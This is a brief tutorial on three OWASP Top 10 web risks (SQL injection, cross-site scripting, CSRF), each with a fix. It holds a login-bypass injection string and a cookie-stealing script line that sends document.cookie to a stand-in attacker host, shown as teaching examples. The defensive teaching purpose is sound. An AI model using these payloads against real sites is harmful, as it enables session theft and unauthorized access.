Web Application Security & the OWASP Top 10

The OWASP Top 10 is the industry-standard list of the most critical web application security risks. Three of the most common show up constantly in real applications:

SQL injection

When user input is concatenated directly into a SQL query, an attacker can change the query's meaning entirely:

// Vulnerable: user input goes straight into the query string
const query = `SELECT * FROM users WHERE username = '${username}'`;

// If username is:  ' OR '1'='1
// The query becomes: SELECT * FROM users WHERE username = '' OR '1'='1'
// ...which matches every row, bypassing the login check entirely

Fix: always use parameterized queries / prepared statements, which send the input separately from the query structure so it can never be interpreted as SQL:

// Safe: the database driver handles escaping, input is never treated as SQL
await db.query('SELECT * FROM users WHERE username = ?', [username]);

Cross-site scripting (XSS)

XSS happens when an attacker gets their own JavaScript to run in another user's browser, usually by injecting a <script> tag into content that gets rendered without escaping:

<!-- If a comment field is rendered without escaping, and a user submits: -->
<script>fetch('https://evil.example/steal?cookie=' + document.cookie)</script>
<!-- ...that script now runs in every other visitor's browser who views the comment -->

Fix: escape user-generated content before rendering it as HTML (most modern frameworks like React do this by default), and use a Content-Security-Policy header to restrict what scripts are allowed to run at all.

Cross-site request forgery (CSRF)

CSRF tricks a logged-in user's browser into submitting a request they didn't intend to make, since browsers automatically attach cookies to requests, a malicious site can make your browser send a request to a site you're logged into.

Fix: require a unique, unpredictable CSRF token on state-changing requests (form submissions, not just GET requests), and set cookies with SameSite=Strict or SameSite=Lax so they aren't sent on cross-site requests.